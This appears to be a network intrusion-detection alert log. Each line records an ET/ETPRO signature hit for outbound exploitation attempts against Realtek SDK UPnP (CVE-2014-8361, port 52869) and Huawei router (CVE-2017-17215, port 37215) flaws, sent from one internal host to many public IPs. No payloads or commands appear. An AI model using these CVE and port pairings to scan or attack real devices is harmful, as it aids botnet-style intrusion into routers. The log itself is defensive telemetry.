07/20/24-23:01:56.910590	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37840	52869	192.168.2.23	86.115.200.136
07/20/24-23:01:51.258596	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46492	52869	192.168.2.23	122.90.179.148
07/20/24-23:01:00.639011	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38304	37215	192.168.2.23	197.92.201.180
07/20/24-23:01:46.125172	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56968	52869	192.168.2.23	115.176.151.108
07/20/24-23:01:02.324877	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55470	52869	192.168.2.23	143.198.233.204
07/20/24-23:01:48.118060	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49154	52869	192.168.2.23	162.125.127.147
07/20/24-23:01:57.388537	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44252	52869	192.168.2.23	67.104.194.85
07/20/24-23:01:11.636425	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60540	37215	192.168.2.23	41.44.134.248
07/20/24-23:01:34.048618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49156	37215	192.168.2.23	41.183.23.205
07/20/24-23:01:02.045640	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49936	37215	192.168.2.23	41.136.199.110
07/20/24-23:01:02.113055	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37100	37215	192.168.2.23	197.224.4.245
07/20/24-23:01:04.053605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43318	37215	192.168.2.23	197.9.246.73
07/20/24-23:02:00.322736	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37216	52869	192.168.2.23	216.183.225.201
07/20/24-23:02:00.710832	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35548	52869	192.168.2.23	39.235.222.86
07/20/24-23:01:27.660099	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38352	37215	192.168.2.23	20.109.185.247
07/20/24-23:01:53.068475	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45506	52869	192.168.2.23	81.196.84.169
07/20/24-23:01:53.472037	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58472	52869	192.168.2.23	82.240.7.131
07/20/24-23:01:42.636583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55272	52869	192.168.2.23	180.183.76.230
07/20/24-23:01:44.325773	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43672	52869	192.168.2.23	119.138.76.79
07/20/24-23:02:06.813916	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34864	52869	192.168.2.23	185.209.39.214
07/20/24-23:01:01.904524	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47078	37215	192.168.2.23	197.24.224.193
07/20/24-23:01:31.313383	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53670	52869	192.168.2.23	220.0.122.40
07/20/24-23:01:03.924344	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40650	52869	192.168.2.23	24.106.184.126
07/20/24-23:01:47.005094	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41146	52869	192.168.2.23	146.33.84.180
07/20/24-23:01:41.259813	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40310	52869	192.168.2.23	129.151.175.195
07/20/24-23:01:27.730585	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41968	37215	192.168.2.23	197.113.144.195
07/20/24-23:01:43.686153	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50918	52869	192.168.2.23	172.233.108.76
07/20/24-23:01:51.113660	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37010	52869	192.168.2.23	140.189.156.39
07/20/24-23:01:11.822392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58386	37215	192.168.2.23	116.78.34.252
07/20/24-23:02:00.234228	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50240	52869	192.168.2.23	125.137.181.188
07/20/24-23:01:53.021606	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49206	52869	192.168.2.23	37.140.130.170
07/20/24-23:01:44.054567	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53286	52869	192.168.2.23	63.75.166.170
07/20/24-23:01:08.556804	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57658	52869	192.168.2.23	23.94.137.105
07/20/24-23:01:02.095698	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35250	37215	192.168.2.23	99.184.135.95
07/20/24-23:01:43.121284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40112	52869	192.168.2.23	87.254.251.88
07/20/24-23:01:43.966760	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56330	52869	192.168.2.23	150.220.0.209
07/20/24-23:01:45.202570	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43560	52869	192.168.2.23	193.12.149.189
07/20/24-23:01:47.859927	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53216	52869	192.168.2.23	108.210.234.252
07/20/24-23:01:00.641498	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54260	37215	192.168.2.23	25.6.33.130
07/20/24-23:01:12.813695	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57422	52869	192.168.2.23	112.132.188.245
07/20/24-23:02:09.321968	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51482	52869	192.168.2.23	213.67.172.218
07/20/24-23:01:34.044223	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33566	37215	192.168.2.23	157.191.169.80
07/20/24-23:01:13.618084	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45878	52869	192.168.2.23	43.124.104.253
07/20/24-23:01:42.069870	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58724	52869	192.168.2.23	191.61.198.111
07/20/24-23:01:53.560520	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43648	52869	192.168.2.23	46.82.140.27
07/20/24-23:01:42.995118	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60430	52869	192.168.2.23	161.210.183.51
07/20/24-23:00:59.192052	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50040	37215	192.168.2.23	41.124.29.47
07/20/24-23:01:08.652877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34774	52869	192.168.2.23	86.219.42.227
07/20/24-23:01:42.629036	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45276	52869	192.168.2.23	211.87.162.144
07/20/24-23:01:41.637960	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40706	52869	192.168.2.23	95.50.29.160
07/20/24-23:02:53.636754	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34312	52869	192.168.2.23	43.198.199.207
07/20/24-23:01:08.614193	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59036	52869	192.168.2.23	219.105.54.148
07/20/24-23:01:45.926465	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35840	52869	192.168.2.23	213.132.50.155
07/20/24-23:01:40.307219	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34386	37215	192.168.2.23	41.199.42.244
07/20/24-23:01:41.374418	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55916	52869	192.168.2.23	93.148.210.215
07/20/24-23:01:43.110964	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40600	52869	192.168.2.23	25.194.48.207
07/20/24-23:01:20.131339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38098	37215	192.168.2.23	157.9.9.217
07/20/24-23:01:58.152789	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38362	52869	192.168.2.23	70.101.195.243
07/20/24-23:01:25.044669	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39594	52869	192.168.2.23	117.200.16.247
07/20/24-23:01:45.095767	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58042	52869	192.168.2.23	156.160.38.108
07/20/24-23:01:31.317774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55592	52869	192.168.2.23	35.92.216.124
07/20/24-23:01:42.486106	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54728	52869	192.168.2.23	193.19.81.156
07/20/24-23:01:57.747300	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57584	52869	192.168.2.23	187.17.35.77
07/20/24-23:01:54.947006	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60546	52869	192.168.2.23	105.224.21.3
07/20/24-23:01:08.638880	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38024	52869	192.168.2.23	103.18.195.93
07/20/24-23:01:32.034562	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48106	37215	192.168.2.23	157.115.47.163
07/20/24-23:01:43.177552	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58512	52869	192.168.2.23	83.205.44.142
07/20/24-23:01:40.334933	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35100	37215	192.168.2.23	197.45.233.176
07/20/24-23:01:42.131607	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33750	52869	192.168.2.23	157.252.110.127
07/20/24-23:01:43.567356	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39516	52869	192.168.2.23	187.122.130.75
07/20/24-23:01:49.207937	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37816	52869	192.168.2.23	135.128.96.121
07/20/24-23:01:42.357440	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43918	52869	192.168.2.23	128.83.244.58
07/20/24-23:01:42.466150	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54924	52869	192.168.2.23	74.205.109.96
07/20/24-23:01:44.963815	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42942	52869	192.168.2.23	53.50.156.29
07/20/24-23:01:43.117484	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48780	52869	192.168.2.23	57.81.97.111
07/20/24-23:00:59.168569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44702	37215	192.168.2.23	221.83.41.173
07/20/24-23:01:21.936545	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45502	37215	192.168.2.23	157.80.129.250
07/20/24-23:01:34.053061	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38084	37215	192.168.2.23	84.170.188.89
07/20/24-23:01:02.055683	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58700	37215	192.168.2.23	157.224.12.67
07/20/24-23:01:42.693536	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33042	52869	192.168.2.23	107.163.195.19
07/20/24-23:01:44.870961	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34216	52869	192.168.2.23	12.215.198.66
07/20/24-23:01:50.370395	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33046	52869	192.168.2.23	166.191.111.147
07/20/24-23:01:03.186337	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56660	52869	192.168.2.23	166.7.60.196
07/20/24-23:01:06.975117	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54958	37215	192.168.2.23	152.142.62.185
07/20/24-23:01:44.358680	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40212	52869	192.168.2.23	178.91.194.150
07/20/24-23:01:42.608153	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40144	52869	192.168.2.23	138.229.180.34
07/20/24-23:01:02.055683	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34462	37215	192.168.2.23	41.227.37.208
07/20/24-23:01:02.045831	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45764	37215	192.168.2.23	197.235.104.194
07/20/24-23:01:42.719940	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50692	52869	192.168.2.23	106.219.50.159
07/20/24-23:01:44.922746	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36258	52869	192.168.2.23	187.34.215.18
07/20/24-23:01:27.660099	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56250	37215	192.168.2.23	66.67.190.136
07/20/24-23:01:44.971718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44830	52869	192.168.2.23	213.131.100.211
07/20/24-23:01:56.287639	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38582	52869	192.168.2.23	70.135.187.127
07/20/24-23:01:42.985200	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45994	52869	192.168.2.23	169.196.10.52
07/20/24-23:01:48.322055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42282	52869	192.168.2.23	172.42.36.143
07/20/24-23:01:08.639622	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50874	52869	192.168.2.23	203.236.42.147
07/20/24-23:01:11.660067	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52356	37215	192.168.2.23	157.108.55.229
07/20/24-23:01:47.614619	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59020	52869	192.168.2.23	154.117.210.216
07/20/24-23:01:49.167711	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39028	52869	192.168.2.23	157.109.59.232
07/20/24-23:01:00.634165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34358	37215	192.168.2.23	197.67.20.2
07/20/24-23:01:04.098909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42308	37215	192.168.2.23	157.37.182.204
07/20/24-23:01:46.444461	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47526	52869	192.168.2.23	151.244.29.112
07/20/24-23:01:08.639622	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35924	52869	192.168.2.23	196.0.98.90
07/20/24-23:01:54.901420	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44428	52869	192.168.2.23	219.217.14.87
07/20/24-23:01:42.479337	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45740	52869	192.168.2.23	205.156.124.10
07/20/24-23:00:59.161892	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35634	37215	192.168.2.23	197.19.12.241
07/20/24-23:01:00.641803	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47982	37215	192.168.2.23	197.103.118.184
07/20/24-23:01:08.623583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35502	52869	192.168.2.23	111.160.194.136
07/20/24-23:01:04.192511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58484	52869	192.168.2.23	186.129.229.179
07/20/24-23:01:43.224525	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51680	52869	192.168.2.23	174.138.8.92
07/20/24-23:01:54.787983	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47580	52869	192.168.2.23	67.148.56.97
07/20/24-23:01:56.353592	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39768	52869	192.168.2.23	202.177.22.97
07/20/24-23:01:21.943544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56038	37215	192.168.2.23	27.153.202.8
07/20/24-23:01:51.213578	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41160	52869	192.168.2.23	13.35.187.229
07/20/24-23:01:01.852700	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50044	52869	192.168.2.23	106.250.20.58
07/20/24-23:01:04.240033	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58496	37215	192.168.2.23	32.245.170.235
07/20/24-23:01:40.336908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36250	37215	192.168.2.23	187.11.252.34
07/20/24-23:01:11.630572	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53720	37215	192.168.2.23	41.206.63.145
07/20/24-23:01:08.691384	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51458	52869	192.168.2.23	154.97.74.140
07/20/24-23:01:51.266026	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50320	52869	192.168.2.23	120.82.97.31
07/20/24-23:01:43.659105	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43892	52869	192.168.2.23	128.128.73.171
07/20/24-23:01:49.231608	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45954	52869	192.168.2.23	42.66.196.35
07/20/24-23:01:43.586276	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32882	52869	192.168.2.23	177.64.16.178
07/20/24-23:01:08.575986	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57642	52869	192.168.2.23	162.63.105.168
07/20/24-23:01:46.261026	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38576	52869	192.168.2.23	118.191.35.155
07/20/24-23:01:55.797133	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55262	52869	192.168.2.23	163.86.195.181
07/20/24-23:01:53.923127	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46216	52869	192.168.2.23	78.233.35.58
07/20/24-23:02:15.054105	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56492	52869	192.168.2.23	153.55.136.220
07/20/24-23:01:06.989167	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54882	37215	192.168.2.23	41.134.100.161
07/20/24-23:01:31.981855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53838	37215	192.168.2.23	8.134.141.9
07/20/24-23:02:17.231770	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47788	52869	192.168.2.23	84.123.73.220
07/20/24-23:01:42.115778	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59720	52869	192.168.2.23	87.53.250.191
07/20/24-23:01:44.589820	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55584	52869	192.168.2.23	188.20.150.72
07/20/24-23:01:42.677933	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37062	52869	192.168.2.23	32.146.19.98
07/20/24-23:01:00.633385	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55384	37215	192.168.2.23	157.243.7.84
07/20/24-23:01:14.105395	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42602	37215	192.168.2.23	221.45.252.241
07/20/24-23:01:49.743796	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46648	52869	192.168.2.23	177.220.208.210
07/20/24-23:01:02.046626	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42854	37215	192.168.2.23	197.235.3.106
07/20/24-23:01:20.149798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58456	37215	192.168.2.23	157.163.36.247
07/20/24-23:01:43.669446	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47742	52869	192.168.2.23	218.231.87.4
07/20/24-23:01:11.639230	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38990	37215	192.168.2.23	157.62.189.35
07/20/24-23:01:46.495508	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44590	52869	192.168.2.23	207.214.48.137
07/20/24-23:01:27.655551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52540	37215	192.168.2.23	41.119.179.108
07/20/24-23:01:50.176893	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36354	52869	192.168.2.23	216.183.225.201
07/20/24-23:02:04.748522	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47778	52869	192.168.2.23	97.69.50.199
07/20/24-23:01:34.043865	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48550	37215	192.168.2.23	157.8.209.32
07/20/24-23:01:02.359782	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57764	52869	192.168.2.23	169.193.81.146
07/20/24-23:01:11.827498	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52512	37215	192.168.2.23	92.168.171.93
07/20/24-23:01:41.620386	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50282	52869	192.168.2.23	111.66.162.186
07/20/24-23:01:03.439543	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44954	52869	192.168.2.23	60.99.150.220
07/20/24-23:01:25.766611	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51032	52869	192.168.2.23	71.185.104.236
07/20/24-23:01:44.210939	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47266	52869	192.168.2.23	38.105.221.242
07/20/24-23:01:52.144379	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58952	52869	192.168.2.23	130.119.229.116
07/20/24-23:01:41.343266	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54936	52869	192.168.2.23	220.17.179.230
07/20/24-23:01:51.833558	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34832	52869	192.168.2.23	43.180.222.83
07/20/24-23:02:01.357047	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49068	52869	192.168.2.23	185.217.197.57
07/20/24-23:01:10.491660	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39696	52869	192.168.2.23	44.76.102.214
07/20/24-23:02:01.964831	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35084	52869	192.168.2.23	43.175.201.8
07/20/24-23:01:47.893677	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34106	52869	192.168.2.23	91.148.233.46
07/20/24-23:01:40.286738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54904	37215	192.168.2.23	157.149.48.241
07/20/24-23:01:31.982478	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46772	37215	192.168.2.23	19.181.181.97
07/20/24-23:01:58.208327	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50512	52869	192.168.2.23	125.12.65.53
07/20/24-23:01:20.181938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46510	37215	192.168.2.23	157.61.177.250
07/20/24-23:00:57.222254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34142	37215	192.168.2.23	197.5.25.5
07/20/24-23:01:34.044717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46162	37215	192.168.2.23	157.172.112.67
07/20/24-23:01:49.198416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33032	52869	192.168.2.23	51.131.43.210
07/20/24-23:01:04.058922	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42978	37215	192.168.2.23	197.13.249.251
07/20/24-23:01:43.180913	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53382	52869	192.168.2.23	129.164.36.164
07/20/24-23:01:51.220119	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35088	52869	192.168.2.23	46.50.151.45
